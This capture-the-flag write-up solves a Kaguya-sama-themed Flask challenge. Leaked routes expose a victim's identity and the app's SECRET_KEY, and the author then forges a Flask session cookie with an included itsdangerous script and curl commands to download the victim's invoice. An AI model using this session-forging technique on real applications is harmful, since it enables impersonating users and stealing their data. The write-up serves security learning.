d4rk{k4ich0_l0v3s_Sh1n0miy4}
Summary
https://<target> is a Flask app (behind nginx) themed around
the Kaguya-sama "Shuchiin festival" story. Two files leak everything needed:
robots.txtdisallows two hidden routes —/internal-noticeand/maintenance./internal-noticenames the victim (kaicho) and their order (1337)./maintenancedumps the app config block, including the FlaskSECRET_KEY = love_is_war(the "drink a flask of water" line is the hint).
With the victim's identity and the signing key in hand, the gated invoice endpoint
(GET /love/invoice/1337) can be reached by forging a Flask session cookie for
kaicho — itsdangerous URLSafeTimedSerializer, salt cookie-session, key
love_is_war. The invoice PDF's "CONFIDENTIAL ORDER REFERENCE" field holds the flag.
Solution / Exploit
1. Recon — robots.txt leaks the hidden routes
1$ curl -s https://<target>
2User-agent: *
3Disallow: /internal-notice
4Disallow: /maintenance
2. /internal-notice — the victim and the order
/love/internal-notice leaks the victim identity and the order id:
- Account username:
kaicho - Related order:
1337
3. /maintenance — the Flask signing key
/love/maintenance leaks the config block. The "Too tired? Here, drink a flask of
water" line is the Flask hint:
APP_ENV = festival
SECRET_KEY = love_is_war
MAINTENANCE_STATUS = nominal
Last_Check = successful
4. /track — the gated invoice endpoint
POST /love/track with username=kaicho&order_id=1337 returns the order and reveals the
invoice endpoint plus the victim's numeric user_id (66066):
GET /love/invoice/1337 (user_id 66066 for kaicho)
Requesting it anonymously redirects (302) back to /track with a flash:
Authentication Required. Please login as the respective user before downloading this invoice.
5. Learn the session schema from a throwaway account
Register and log in a fresh account, then decode its Flask session cookie to see the exact structure the app expects:
1{"_flashes":[...],"user_id":66940,"username":"tester4013"}
So a valid session is just {"user_id": <int>, "username": <str>}.
6. Forge the victim's cookie
Using the leaked key, forge a session for kaicho with itsdangerous. This is
love_forge.py:
1from itsdangerous import URLSafeTimedSerializer, TimestampSigner
2import json, sys
3key=b"love_is_war"
4s=URLSafeTimedSerializer(key, salt="cookie-session", signer_kwargs={"key_derivation":"hmac","digest_method":"sha1"})
5payload={"user_id":66066,"username":"kaicho"}
6print(s.dumps(payload))
Output is the forged love_session value (recorded in love_forged_token.txt).
7. Fetch the invoice with the forged cookie
1$ curl -s -i -b "love_session=<forged kaicho cookie>" \
2 https://<target>
3HTTP/1.1 200 OK
4Content-Type: application/pdf
5Content-Length: 2273
6Content-Disposition: attachment; filename="shuchiin-invoice-1337.pdf"
The response is application/pdf and saves as love_invoice_1337.pdf.
8. Read the invoice
1$ pdftotext love_invoice_1337.pdf -
2SHUCHIIN FESTIVAL SUPPLIES
3INVOICE #1337
4Buyer: president_miyuki
5Username: kaicho
6Order Status: Dispatched
7Product: Crimson Heart Mylar Balloons
8Quantity: 100
9Tracking ID: woah_a_rezero_mystery
10BUYER'S NOTE: Deliver discreetly behind the gym before the festival bonfire. Do NOT let Shinomiya see this.
11CONFIDENTIAL ORDER REFERENCE
12d4rk{k4ich0_l0v3s_Sh1n0miy4}
The "CONFIDENTIAL ORDER REFERENCE" field contains the flag.
Flag(s)
d4rk{k4ich0_l0v3s_Sh1n0miy4}
Notes / Pitfalls
- The whole challenge is the leak chain. No crypto is broken: Flask's default
session cookie is only signed, not encrypted, so a known
SECRET_KEYis total forgery./maintenancehanding overSECRET_KEYis the intended break. - You need the victim's
user_id, not just the username. The session schema uses the numericuser_id(66066forkaicho), which/tracksupplies; a cookie with onlyusernamewill not pass the invoice gate. - Match the serializer exactly.
salt="cookie-session",key_derivation="hmac",digest_method="sha1"— Flask's session interface defaults. Get these wrong and the cookie fails signature verification and silently redirects to/track. - The invoice is only served to the matching user. Anonymous requests get the
302+ flash message, so a 200 withContent-Disposition: attachmentis proof the forged session was accepted.